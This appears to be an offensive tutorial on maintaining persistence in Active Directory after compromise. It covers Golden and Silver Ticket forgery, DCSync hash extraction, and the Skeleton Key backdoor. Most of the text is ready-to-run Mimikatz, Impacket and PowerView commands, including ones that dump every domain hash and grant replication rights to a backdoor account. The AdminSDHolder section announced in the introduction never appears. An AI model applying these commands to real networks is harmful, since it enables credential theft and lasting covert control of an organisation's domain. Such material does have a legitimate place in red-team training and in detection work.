Active directory persistence techniques allow attackers to maintain access long after the initial compromise. Even if the original attack vector is remediated, well-planted persistence survives password changes, security audits, and reboots. This guide covers Golden Ticket attacks, DCSync, Skeleton Key, and AdminSDHolder abuse — the most powerful persistence mechanisms in Active Directory.
Golden Ticket Attack: Forging Kerberos TGTs
A Golden Ticket is a forged Kerberos Ticket Granting Ticket (TGT) signed with the KRBTGT account hash. With the KRBTGT hash, an attacker can forge TGTs for any user, with any group membership, valid for any time period — essentially permanent access to the entire domain.
# Step 1: Get the KRBTGT hash and domain SID (requires Domain Admin)
lsadump::dcsync /domain:corp.local /user:krbtgt
# Step 2: Forge a Golden Ticket
kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /id:500
# Step 3: Inject the ticket
kerberos::ptt ticket.kirbi
# Verify
klist
dir \\DC01\C$
# Golden Ticket with Impacket
ticketConverter.py ticket.ccache ticket.kirbi
lookupsid.py domain.local/user:pass@DC_IP # Get SID
lookupsid.py domain.local/user:pass@DC_IP | grep "Domain SID"Silver Ticket: Forging Service Tickets
A Silver Ticket forges a TGS (service ticket) for a specific service, using the service account’s hash instead of KRBTGT. It’s stealthier than a Golden Ticket because it never touches the DC during authentication.
# Forge a Silver Ticket for CIFS (file access)
kerberos::golden /user:Administrator /domain:corp.local /sid:DOMAIN_SID /target:server01.corp.local /service:cifs /rc4:SERVICE_NTLM_HASH /ptt
# Silver Ticket for HTTP (web access)
kerberos::golden /user:Administrator /domain:corp.local /sid:DOMAIN_SID /target:webserver.corp.local /service:http /rc4:SERVICE_HASH /pttDCSync: Extracting All Domain Hashes
DCSync abuses the Directory Replication Service (DRS) protocol to request replication of password data from the DC. Any account with Replication-Get-Changes-All permission can run DCSync — not just Domain Admins.
# DCSync with Mimikatz
lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /all /csv
# DCSync with Impacket secretsdump
secretsdump.py domain.local/admin:password@10.10.10.100
secretsdump.py -hashes :NTLM_HASH domain.local/admin@10.10.10.100
# Grant DCSync rights to a low-priv user (persistence)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity backdoor_user -Rights DCSyncSkeleton Key: Universal Password Backdoor
Skeleton Key patches the domain controller’s LSASS process in memory, allowing any account to authenticate with a master password (“mimikatz”) while the real password still works. It is NOT persistent across reboots.
# Inject Skeleton Key on the DC
miscellaneous::skeleton
# Now any user can authenticate with password "mimikatz"
net use \\DC01\C$ /user:corp\Administrator mimikatzReferences
See MITRE ATT&CK T1558.001 (Golden Ticket) and T1003.006 (DCSync).